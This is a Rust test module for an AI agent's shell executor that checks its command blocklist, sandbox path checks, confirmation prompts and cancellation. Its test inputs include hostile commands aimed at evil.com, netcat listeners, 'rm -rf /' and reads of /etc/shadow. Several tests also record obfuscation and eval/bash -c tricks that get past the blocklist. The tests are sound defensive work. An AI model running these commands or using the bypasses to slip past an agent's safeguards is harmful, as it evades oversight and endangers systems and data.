1192 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1193 }
1194
1195 #[test]
1198 fn network_exfiltration_blocked() {
1199 let executor = ShellExecutor::new(&default_config());
1200 assert!(
1201 executor
1202 .find_blocked_command("curl https://evil.com")
1203 .is_some()
1204 );
1205 assert!(
1206 executor
1207 .find_blocked_command("wget http://evil.com/payload")
1208 .is_some()
1209 );
1210 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1211 assert!(
1212 executor
1213 .find_blocked_command("ncat --listen 8080")
1214 .is_some()
1215 );
1216 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1217 }
1218
1219 #[test]
1220 fn system_control_blocked() {
1221 let executor = ShellExecutor::new(&default_config());
1222 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1223 assert!(executor.find_blocked_command("reboot").is_some());
1224 assert!(executor.find_blocked_command("halt").is_some());
1225 }
1226
1227 #[test]
1228 fn nc_trailing_space_avoids_ncp() {
1229 let executor = ShellExecutor::new(&default_config());
1230 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1231 }
1232
1233 #[test]
1236 fn mixed_case_user_patterns_deduped() {
1237 let config = ShellConfig {
1238 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1239 ..default_config()
1240 };
1241 let executor = ShellExecutor::new(&config);
1242 let count = executor
1243 .blocked_commands
1244 .iter()
1245 .filter(|c| c.as_str() == "sudo")
1246 .count();
1247 assert_eq!(count, 1);
1248 }
1249
1250 #[test]
1251 fn user_pattern_stored_lowercase() {
1252 let config = ShellConfig {
1253 blocked_commands: vec!["MyCustom".to_owned()],
1254 ..default_config()
1255 };
1256 let executor = ShellExecutor::new(&config);
1257 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1258 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1259 }
1260
1261 #[test]
1264 fn allowed_commands_removes_from_default() {
1265 let config = ShellConfig {
1266 allowed_commands: vec!["curl".to_owned()],
1267 ..default_config()
1268 };
1269 let executor = ShellExecutor::new(&config);
1270 assert!(
1271 executor
1272 .find_blocked_command("curl https://example.com")
1273 .is_none()
1274 );
1275 assert!(executor.find_blocked_command("sudo rm").is_some());
1276 }
1277
1278 #[test]
1279 fn allowed_commands_case_insensitive() {
1280 let config = ShellConfig {
1281 allowed_commands: vec!["CURL".to_owned()],
1282 ..default_config()
1283 };
1284 let executor = ShellExecutor::new(&config);
1285 assert!(
1286 executor
1287 .find_blocked_command("curl https://example.com")
1288 .is_none()
1289 );
1290 }
1291
1292 #[test]
1293 fn allowed_does_not_override_explicit_block() {
1294 let config = ShellConfig {
1295 blocked_commands: vec!["curl".to_owned()],
1296 allowed_commands: vec!["curl".to_owned()],
1297 ..default_config()
1298 };
1299 let executor = ShellExecutor::new(&config);
1300 assert!(
1301 executor
1302 .find_blocked_command("curl https://example.com")
1303 .is_some()
1304 );
1305 }
1306
1307 #[test]
1308 fn allowed_unknown_command_ignored() {
1309 let config = ShellConfig {
1310 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1311 ..default_config()
1312 };
1313 let executor = ShellExecutor::new(&config);
1314 assert!(executor.find_blocked_command("sudo rm").is_some());
1315 assert!(
1316 executor
1317 .find_blocked_command("curl https://example.com")
1318 .is_some()
1319 );
1320 }
1321
1322 #[test]
1323 fn empty_allowed_commands_changes_nothing() {
1324 let executor = ShellExecutor::new(&default_config());
1325 assert!(
1326 executor
1327 .find_blocked_command("curl https://example.com")
1328 .is_some()
1329 );
1330 assert!(executor.find_blocked_command("sudo rm").is_some());
1331 assert!(
1332 executor
1333 .find_blocked_command("wget http://evil.com")
1334 .is_some()
1335 );
1336 }
1337
1338 #[test]
1341 fn extract_paths_from_code() {
1342 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1343 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1344 }
1345
1346 #[test]
1347 fn extract_paths_handles_trailing_chars() {
1348 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1349 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1350 }
1351
1352 #[test]
1353 fn extract_paths_detects_relative() {
1354 let paths = extract_paths("cat ./file.txt ../other");
1355 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1356 }
1357
1358 #[test]
1359 fn sandbox_allows_cwd_by_default() {
1360 let executor = ShellExecutor::new(&default_config());
1361 let cwd = std::env::current_dir().unwrap();
1362 let cwd_path = cwd.display().to_string();
1363 let code = format!("cat {cwd_path}/file.txt");
1364 assert!(executor.validate_sandbox(&code).is_ok());
1365 }
1366
1367 #[test]
1368 fn sandbox_rejects_path_outside_allowed() {
1369 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1370 let executor = ShellExecutor::new(&config);
1371 let result = executor.validate_sandbox("cat /etc/passwd");
1372 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1373 }
1374
1375 #[test]
1376 fn sandbox_no_absolute_paths_passes() {
1377 let config = sandbox_config(vec!["/tmp".into()]);
1378 let executor = ShellExecutor::new(&config);
1379 assert!(executor.validate_sandbox("echo hello").is_ok());
1380 }
1381
1382 #[test]
1383 fn sandbox_rejects_dotdot_traversal() {
1384 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1385 let executor = ShellExecutor::new(&config);
1386 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1387 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1388 }
1389
1390 #[test]
1391 fn sandbox_rejects_bare_dotdot() {
1392 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1393 let executor = ShellExecutor::new(&config);
1394 let result = executor.validate_sandbox("cd ..");
1395 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1396 }
1397
1398 #[test]
1399 fn sandbox_rejects_relative_dotslash_outside() {
1400 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1401 let executor = ShellExecutor::new(&config);
1402 let result = executor.validate_sandbox("cat ./secret.txt");
1403 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1404 }
1405
1406 #[test]
1407 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1408 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1409 let executor = ShellExecutor::new(&config);
1410 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1411 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1412 }
1413
1414 #[test]
1415 fn has_traversal_detects_dotdot() {
1416 assert!(has_traversal("../etc/passwd"));
1417 assert!(has_traversal("./foo/../bar"));
1418 assert!(has_traversal("/tmp/sandbox/../../etc"));
1419 assert!(has_traversal(".."));
1420 assert!(!has_traversal("./safe/path"));
1421 assert!(!has_traversal("/absolute/path"));
1422 assert!(!has_traversal("no-dots-here"));
1423 }
1424
1425 #[test]
1426 fn extract_paths_detects_dotdot_standalone() {
1427 let paths = extract_paths("cd ..");
1428 assert_eq!(paths, vec!["..".to_owned()]);
1429 }
1430
1431 #[test]
1434 fn allow_network_false_blocks_network_commands() {
1435 let config = ShellConfig {
1436 allow_network: false,
1437 ..default_config()
1438 };
1439 let executor = ShellExecutor::new(&config);
1440 assert!(
1441 executor
1442 .find_blocked_command("curl https://example.com")
1443 .is_some()
1444 );
1445 assert!(
1446 executor
1447 .find_blocked_command("wget http://example.com")
1448 .is_some()
1449 );
1450 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1451 }
1452
1453 #[test]
1454 fn allow_network_true_keeps_default_behavior() {
1455 let config = ShellConfig {
1456 allow_network: true,
1457 ..default_config()
1458 };
1459 let executor = ShellExecutor::new(&config);
1460 assert!(
1462 executor
1463 .find_blocked_command("curl https://example.com")
1464 .is_some()
1465 );
1466 }
1467
1468 #[test]
1471 fn find_confirm_command_matches_pattern() {
1472 let config = ShellConfig {
1473 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1474 ..default_config()
1475 };
1476 let executor = ShellExecutor::new(&config);
1477 assert_eq!(
1478 executor.find_confirm_command("rm /tmp/file.txt"),
1479 Some("rm ")
1480 );
1481 assert_eq!(
1482 executor.find_confirm_command("git push -f origin main"),
1483 Some("git push -f")
1484 );
1485 }
1486
1487 #[test]
1488 fn find_confirm_command_case_insensitive() {
1489 let config = ShellConfig {
1490 confirm_patterns: vec!["drop table".into()],
1491 ..default_config()
1492 };
1493 let executor = ShellExecutor::new(&config);
1494 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1495 }
1496
1497 #[test]
1498 fn find_confirm_command_no_match() {
1499 let config = ShellConfig {
1500 confirm_patterns: vec!["rm ".into()],
1501 ..default_config()
1502 };
1503 let executor = ShellExecutor::new(&config);
1504 assert!(executor.find_confirm_command("echo hello").is_none());
1505 }
1506
1507 #[tokio::test]
1508 async fn confirmation_required_returned() {
1509 let config = ShellConfig {
1510 confirm_patterns: vec!["rm ".into()],
1511 ..default_config()
1512 };
1513 let executor = ShellExecutor::new(&config);
1514 let response = "```bash\nrm file.txt\n```";
1515 let result = executor.execute(response).await;
1516 assert!(matches!(
1517 result,
1518 Err(ToolError::ConfirmationRequired { .. })
1519 ));
1520 }
1521
1522 #[tokio::test]
1523 async fn execute_confirmed_skips_confirmation() {
1524 let config = ShellConfig {
1525 confirm_patterns: vec!["echo".into()],
1526 ..default_config()
1527 };
1528 let executor = ShellExecutor::new(&config);
1529 let response = "```bash\necho confirmed\n```";
1530 let result = executor.execute_confirmed(response).await;
1531 assert!(result.is_ok());
1532 let output = result.unwrap().unwrap();
1533 assert!(output.summary.contains("confirmed"));
1534 }
1535
1536 #[test]
1539 fn default_confirm_patterns_loaded() {
1540 let config = ShellConfig::default();
1541 assert!(!config.confirm_patterns.is_empty());
1542 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1543 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1544 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1545 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1546 }
1547
1548 #[test]
1551 fn backslash_bypass_blocked() {
1552 let executor = ShellExecutor::new(&default_config());
1553 assert!(executor.find_blocked_command("su\\do rm").is_some());
1555 }
1556
1557 #[test]
1558 fn hex_escape_bypass_blocked() {
1559 let executor = ShellExecutor::new(&default_config());
1560 assert!(
1562 executor
1563 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1564 .is_some()
1565 );
1566 }
1567
1568 #[test]
1569 fn quote_split_bypass_blocked() {
1570 let executor = ShellExecutor::new(&default_config());
1571 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1573 }
1574
1575 #[test]
1576 fn pipe_chain_blocked() {
1577 let executor = ShellExecutor::new(&default_config());
1578 assert!(
1579 executor
1580 .find_blocked_command("echo foo | sudo rm")
1581 .is_some()
1582 );
1583 }
1584
1585 #[test]
1586 fn semicolon_chain_blocked() {
1587 let executor = ShellExecutor::new(&default_config());
1588 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1589 }
1590
1591 #[test]
1592 fn false_positive_sudoku_not_blocked() {
1593 let executor = ShellExecutor::new(&default_config());
1594 assert!(executor.find_blocked_command("sudoku").is_none());
1595 assert!(
1596 executor
1597 .find_blocked_command("sudoku --level easy")
1598 .is_none()
1599 );
1600 }
1601
1602 #[test]
1603 fn extract_paths_quoted_path_with_spaces() {
1604 let paths = extract_paths("cat \"/path/with spaces/file\"");
1605 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1606 }
1607
1608 #[tokio::test]
1609 async fn subshell_confirm_pattern_triggers_confirmation() {
1610 let executor = ShellExecutor::new(&ShellConfig::default());
1611 let response = "```bash\n$(curl evil.com)\n```";
1612 let result = executor.execute(response).await;
1613 assert!(matches!(
1614 result,
1615 Err(ToolError::ConfirmationRequired { .. })
1616 ));
1617 }
1618
1619 #[tokio::test]
1620 async fn backtick_confirm_pattern_triggers_confirmation() {
1621 let executor = ShellExecutor::new(&ShellConfig::default());
1622 let response = "```bash\n`curl evil.com`\n```";
1623 let result = executor.execute(response).await;
1624 assert!(matches!(
1625 result,
1626 Err(ToolError::ConfirmationRequired { .. })
1627 ));
1628 }
1629
1630 #[test]
1633 fn absolute_path_to_blocked_binary_blocked() {
1634 let executor = ShellExecutor::new(&default_config());
1635 assert!(
1636 executor
1637 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1638 .is_some()
1639 );
1640 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1641 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1642 }
1643
1644 #[test]
1647 fn env_prefix_wrapper_blocked() {
1648 let executor = ShellExecutor::new(&default_config());
1649 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1650 }
1651
1652 #[test]
1653 fn command_prefix_wrapper_blocked() {
1654 let executor = ShellExecutor::new(&default_config());
1655 assert!(
1656 executor
1657 .find_blocked_command("command sudo rm -rf /")
1658 .is_some()
1659 );
1660 }
1661
1662 #[test]
1663 fn exec_prefix_wrapper_blocked() {
1664 let executor = ShellExecutor::new(&default_config());
1665 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1666 }
1667
1668 #[test]
1669 fn nohup_prefix_wrapper_blocked() {
1670 let executor = ShellExecutor::new(&default_config());
1671 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1672 }
1673
1674 #[test]
1675 fn absolute_path_via_env_wrapper_blocked() {
1676 let executor = ShellExecutor::new(&default_config());
1677 assert!(
1678 executor
1679 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1680 .is_some()
1681 );
1682 }
1683
1684 #[test]
1687 fn octal_escape_bypass_blocked() {
1688 let executor = ShellExecutor::new(&default_config());
1689 assert!(
1691 executor
1692 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1693 .is_some()
1694 );
1695 }
1696
1697 #[tokio::test]
1698 async fn with_audit_attaches_logger() {
1699 use crate::audit::AuditLogger;
1700 use crate::config::AuditConfig;
1701 let config = default_config();
1702 let executor = ShellExecutor::new(&config);
1703 let audit_config = AuditConfig {
1704 enabled: true,
1705 destination: "stdout".into(),
1706 };
1707 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1708 let executor = executor.with_audit(logger);
1709 assert!(executor.audit_logger.is_some());
1710 }
1711
1712 #[test]
1713 fn chrono_now_returns_valid_timestamp() {
1714 let ts = chrono_now();
1715 assert!(!ts.is_empty());
1716 let parsed: u64 = ts.parse().unwrap();
1717 assert!(parsed > 0);
1718 }
1719
1720 #[cfg(unix)]
1721 #[tokio::test]
1722 async fn execute_bash_injects_extra_env() {
1723 let mut env = std::collections::HashMap::new();
1724 env.insert(
1725 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1726 "hello-from-env".to_owned(),
1727 );
1728 let (result, code) = execute_bash(
1729 "echo $ZEPH_TEST_INJECTED_VAR",
1730 Duration::from_secs(5),
1731 None,
1732 None,
1733 Some(&env),
1734 )
1735 .await;
1736 assert_eq!(code, 0);
1737 assert!(result.contains("hello-from-env"));
1738 }
1739
1740 #[cfg(unix)]
1741 #[tokio::test]
1742 async fn shell_executor_set_skill_env_injects_vars() {
1743 let config = ShellConfig {
1744 timeout: 5,
1745 allowed_commands: vec![],
1746 blocked_commands: vec![],
1747 allowed_paths: vec![],
1748 confirm_patterns: vec![],
1749 allow_network: false,
1750 };
1751 let executor = ShellExecutor::new(&config);
1752 let mut env = std::collections::HashMap::new();
1753 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1754 executor.set_skill_env(Some(env));
1755 use crate::executor::ToolExecutor;
1756 let result = executor
1757 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1758 .await
1759 .unwrap()
1760 .unwrap();
1761 assert!(result.summary.contains("injected-value"));
1762 executor.set_skill_env(None);
1763 }
1764
1765 #[cfg(unix)]
1766 #[tokio::test]
1767 async fn execute_bash_error_handling() {
1768 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1769 assert_eq!(result, "(no output)");
1770 assert_eq!(code, 1);
1771 }
1772
1773 #[cfg(unix)]
1774 #[tokio::test]
1775 async fn execute_bash_command_not_found() {
1776 let (result, _) = execute_bash(
1777 "nonexistent-command-xyz",
1778 Duration::from_secs(5),
1779 None,
1780 None,
1781 None,
1782 )
1783 .await;
1784 assert!(result.contains("[stderr]") || result.contains("[error]"));
1785 }
1786
1787 #[test]
1788 fn extract_paths_empty() {
1789 assert!(extract_paths("").is_empty());
1790 }
1791
1792 #[tokio::test]
1793 async fn policy_deny_blocks_command() {
1794 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1795 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1796 let response = "```bash\nforbidden command\n```";
1797 let result = executor.execute(response).await;
1798 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1799 }
1800
1801 #[tokio::test]
1802 async fn policy_ask_requires_confirmation() {
1803 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1804 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1805 let response = "```bash\nrisky operation\n```";
1806 let result = executor.execute(response).await;
1807 assert!(matches!(
1808 result,
1809 Err(ToolError::ConfirmationRequired { .. })
1810 ));
1811 }
1812
1813 #[tokio::test]
1814 async fn policy_allow_skips_checks() {
1815 use crate::permissions::PermissionRule;
1816 use std::collections::HashMap;
1817 let mut rules = HashMap::new();
1818 rules.insert(
1819 "bash".to_owned(),
1820 vec![PermissionRule {
1821 pattern: "*".to_owned(),
1822 action: PermissionAction::Allow,
1823 }],
1824 );
1825 let policy = PermissionPolicy::new(rules);
1826 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1827 let response = "```bash\necho hello\n```";
1828 let result = executor.execute(response).await;
1829 assert!(result.is_ok());
1830 }
1831
1832 #[tokio::test]
1833 async fn blocked_command_logged_to_audit() {
1834 use crate::audit::AuditLogger;
1835 use crate::config::AuditConfig;
1836 let config = ShellConfig {
1837 blocked_commands: vec!["dangerous".to_owned()],
1838 ..default_config()
1839 };
1840 let audit_config = AuditConfig {
1841 enabled: true,
1842 destination: "stdout".into(),
1843 };
1844 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1845 let executor = ShellExecutor::new(&config).with_audit(logger);
1846 let response = "```bash\ndangerous command\n```";
1847 let result = executor.execute(response).await;
1848 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1849 }
1850
1851 #[test]
1852 fn tool_definitions_returns_bash() {
1853 let executor = ShellExecutor::new(&default_config());
1854 let defs = executor.tool_definitions();
1855 assert_eq!(defs.len(), 1);
1856 assert_eq!(defs[0].id, "bash");
1857 assert_eq!(
1858 defs[0].invocation,
1859 crate::registry::InvocationHint::FencedBlock("bash")
1860 );
1861 }
1862
1863 #[test]
1864 fn tool_definitions_schema_has_command_param() {
1865 let executor = ShellExecutor::new(&default_config());
1866 let defs = executor.tool_definitions();
1867 let obj = defs[0].schema.as_object().unwrap();
1868 let props = obj["properties"].as_object().unwrap();
1869 assert!(props.contains_key("command"));
1870 let req = obj["required"].as_array().unwrap();
1871 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1872 }
1873
1874 #[tokio::test]
1875 #[cfg(not(target_os = "windows"))]
1876 async fn cancel_token_kills_child_process() {
1877 let token = CancellationToken::new();
1878 let token_clone = token.clone();
1879 tokio::spawn(async move {
1880 tokio::time::sleep(Duration::from_millis(100)).await;
1881 token_clone.cancel();
1882 });
1883 let (result, code) = execute_bash(
1884 "sleep 60",
1885 Duration::from_secs(30),
1886 None,
1887 Some(&token),
1888 None,
1889 )
1890 .await;
1891 assert_eq!(code, 130);
1892 assert!(result.contains("[cancelled]"));
1893 }
1894
1895 #[tokio::test]
1896 #[cfg(not(target_os = "windows"))]
1897 async fn cancel_token_none_does_not_cancel() {
1898 let (result, code) =
1899 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1900 assert_eq!(code, 0);
1901 assert!(result.contains("ok"));
1902 }
1903
1904 #[tokio::test]
1905 #[cfg(not(target_os = "windows"))]
1906 async fn cancel_kills_child_process_group() {
1907 use std::path::Path;
1908 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1909 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1910 let token = CancellationToken::new();
1911 let token_clone = token.clone();
1912 tokio::spawn(async move {
1913 tokio::time::sleep(Duration::from_millis(200)).await;
1914 token_clone.cancel();
1915 });
1916 let (result, code) =
1917 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1918 assert_eq!(code, 130);
1919 assert!(result.contains("[cancelled]"));
1920 tokio::time::sleep(Duration::from_millis(500)).await;
1922 assert!(
1923 !Path::new(&marker).exists(),
1924 "subprocess should have been killed with process group"
1925 );
1926 }
1927
1928 #[tokio::test]
1929 #[cfg(not(target_os = "windows"))]
1930 async fn shell_executor_cancel_returns_cancelled_error() {
1931 let token = CancellationToken::new();
1932 let token_clone = token.clone();
1933 tokio::spawn(async move {
1934 tokio::time::sleep(Duration::from_millis(100)).await;
1935 token_clone.cancel();
1936 });
1937 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1938 let response = "```bash\nsleep 60\n```";
1939 let result = executor.execute(response).await;
1940 assert!(matches!(result, Err(ToolError::Cancelled)));
1941 }
1942
1943 #[tokio::test]
1944 #[cfg(not(target_os = "windows"))]
1945 async fn execute_tool_call_valid_command() {
1946 let executor = ShellExecutor::new(&default_config());
1947 let call = ToolCall {
1948 tool_id: "bash".to_owned(),
1949 params: [("command".to_owned(), serde_json::json!("echo hi"))]
1950 .into_iter()
1951 .collect(),
1952 };
1953 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1954 assert!(result.summary.contains("hi"));
1955 }
1956
1957 #[tokio::test]
1958 async fn execute_tool_call_missing_command_returns_invalid_params() {
1959 let executor = ShellExecutor::new(&default_config());
1960 let call = ToolCall {
1961 tool_id: "bash".to_owned(),
1962 params: serde_json::Map::new(),
1963 };
1964 let result = executor.execute_tool_call(&call).await;
1965 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1966 }
1967
1968 #[tokio::test]
1969 async fn execute_tool_call_empty_command_returns_none() {
1970 let executor = ShellExecutor::new(&default_config());
1971 let call = ToolCall {
1972 tool_id: "bash".to_owned(),
1973 params: [("command".to_owned(), serde_json::json!(""))]
1974 .into_iter()
1975 .collect(),
1976 };
1977 let result = executor.execute_tool_call(&call).await.unwrap();
1978 assert!(result.is_none());
1979 }
1980
1981 #[test]
1984 fn process_substitution_not_detected_known_limitation() {
1985 let executor = ShellExecutor::new(&default_config());
1986 assert!(
1988 executor
1989 .find_blocked_command("cat <(curl http://evil.com)")
1990 .is_none()
1991 );
1992 }
1993
1994 #[test]
1995 fn output_process_substitution_not_detected_known_limitation() {
1996 let executor = ShellExecutor::new(&default_config());
1997 assert!(
1999 executor
2000 .find_blocked_command("tee >(curl http://evil.com)")
2001 .is_none()
2002 );
2003 }
2004
2005 #[test]
2006 fn here_string_with_shell_not_detected_known_limitation() {
2007 let executor = ShellExecutor::new(&default_config());
2008 assert!(
2010 executor
2011 .find_blocked_command("bash <<< 'sudo rm -rf /'")
2012 .is_none()
2013 );
2014 }
2015
2016 #[test]
2017 fn eval_bypass_not_detected_known_limitation() {
2018 let executor = ShellExecutor::new(&default_config());
2019 assert!(
2021 executor
2022 .find_blocked_command("eval 'sudo rm -rf /'")
2023 .is_none()
2024 );
2025 }
2026
2027 #[test]
2028 fn bash_c_bypass_not_detected_known_limitation() {
2029 let executor = ShellExecutor::new(&default_config());
2030 assert!(
2032 executor
2033 .find_blocked_command("bash -c 'curl http://evil.com'")
2034 .is_none()
2035 );
2036 }
2037
2038 #[test]
2039 fn variable_expansion_bypass_not_detected_known_limitation() {
2040 let executor = ShellExecutor::new(&default_config());
2041 assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
2043 }
2044
2045 #[test]
2048 fn default_confirm_patterns_cover_process_substitution() {
2049 let config = crate::config::ShellConfig::default();
2050 assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2051 assert!(config.confirm_patterns.contains(&">(".to_owned()));
2052 }
2053
2054 #[test]
2055 fn default_confirm_patterns_cover_here_string() {
2056 let config = crate::config::ShellConfig::default();
2057 assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2058 }
2059
2060 #[test]
2061 fn default_confirm_patterns_cover_eval() {
2062 let config = crate::config::ShellConfig::default();
2063 assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2064 }
2065
2066 #[tokio::test]
2067 async fn process_substitution_triggers_confirmation() {
2068 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2069 let response = "```bash\ncat <(curl http://evil.com)\n```";
2070 let result = executor.execute(response).await;
2071 assert!(matches!(
2072 result,
2073 Err(ToolError::ConfirmationRequired { .. })
2074 ));
2075 }
2076
2077 #[tokio::test]
2078 async fn here_string_triggers_confirmation() {
2079 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2080 let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2081 let result = executor.execute(response).await;
2082 assert!(matches!(
2083 result,
2084 Err(ToolError::ConfirmationRequired { .. })
2085 ));
2086 }
2087
2088 #[tokio::test]
2089 async fn eval_triggers_confirmation() {
2090 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2091 let response = "```bash\neval 'curl http://evil.com'\n```";
2092 let result = executor.execute(response).await;
2093 assert!(matches!(
2094 result,
2095 Err(ToolError::ConfirmationRequired { .. })
2096 ));
2097 }
2098
2099 #[tokio::test]
2100 async fn output_process_substitution_triggers_confirmation() {
2101 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2102 let response = "```bash\ntee >(curl http://evil.com)\n```";
2103 let result = executor.execute(response).await;
2104 assert!(matches!(
2105 result,
2106 Err(ToolError::ConfirmationRequired { .. })
2107 ));
2108 }
2109
2110 #[test]
2111 fn here_string_with_command_substitution_not_detected_known_limitation() {
2112 let executor = ShellExecutor::new(&default_config());
2113 assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2115 }
2116
2117 fn default_blocklist() -> Vec<String> {
2120 DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2121 }
2122
2123 #[test]
2124 fn check_blocklist_blocks_rm_rf_root() {
2125 let bl = default_blocklist();
2126 assert!(check_blocklist("rm -rf /", &bl).is_some());
2127 }
2128
2129 #[test]
2130 fn check_blocklist_blocks_sudo() {
2131 let bl = default_blocklist();
2132 assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2133 }
2134
2135 #[test]
2136 fn check_blocklist_allows_safe_commands() {
2137 let bl = default_blocklist();
2138 assert!(check_blocklist("ls -la", &bl).is_none());
2139 assert!(check_blocklist("echo hello world", &bl).is_none());
2140 assert!(check_blocklist("git status", &bl).is_none());
2141 assert!(check_blocklist("cargo build --release", &bl).is_none());
2142 }
2143
2144 #[test]
2145 fn check_blocklist_blocks_subshell_dollar_paren() {
2146 let bl = default_blocklist();
2147 assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2149 assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2150 }
2151
2152 #[test]
2153 fn check_blocklist_blocks_subshell_backtick() {
2154 let bl = default_blocklist();
2155 assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2156 }
2157
2158 #[test]
2159 fn check_blocklist_blocks_mkfs() {
2160 let bl = default_blocklist();
2161 assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2162 }
2163
2164 #[test]
2165 fn check_blocklist_blocks_shutdown() {
2166 let bl = default_blocklist();
2167 assert!(check_blocklist("shutdown -h now", &bl).is_some());
2168 }
2169
2170 #[test]
2173 fn effective_shell_command_bash_minus_c() {
2174 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2175 assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2176 }
2177
2178 #[test]
2179 fn effective_shell_command_sh_minus_c() {
2180 let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2181 assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2182 }
2183
2184 #[test]
2185 fn effective_shell_command_non_shell_returns_none() {
2186 let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2187 assert_eq!(effective_shell_command("git", &args), None);
2188 assert_eq!(effective_shell_command("cargo", &args), None);
2189 }
2190
2191 #[test]
2192 fn effective_shell_command_no_minus_c_returns_none() {
2193 let args = vec!["script.sh".to_owned()];
2194 assert_eq!(effective_shell_command("bash", &args), None);
2195 }
2196
2197 #[test]
2198 fn effective_shell_command_full_path_shell() {
2199 let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2200 assert_eq!(
2201 effective_shell_command("/usr/bin/bash", &args),
2202 Some("sudo rm")
2203 );
2204 }
2205}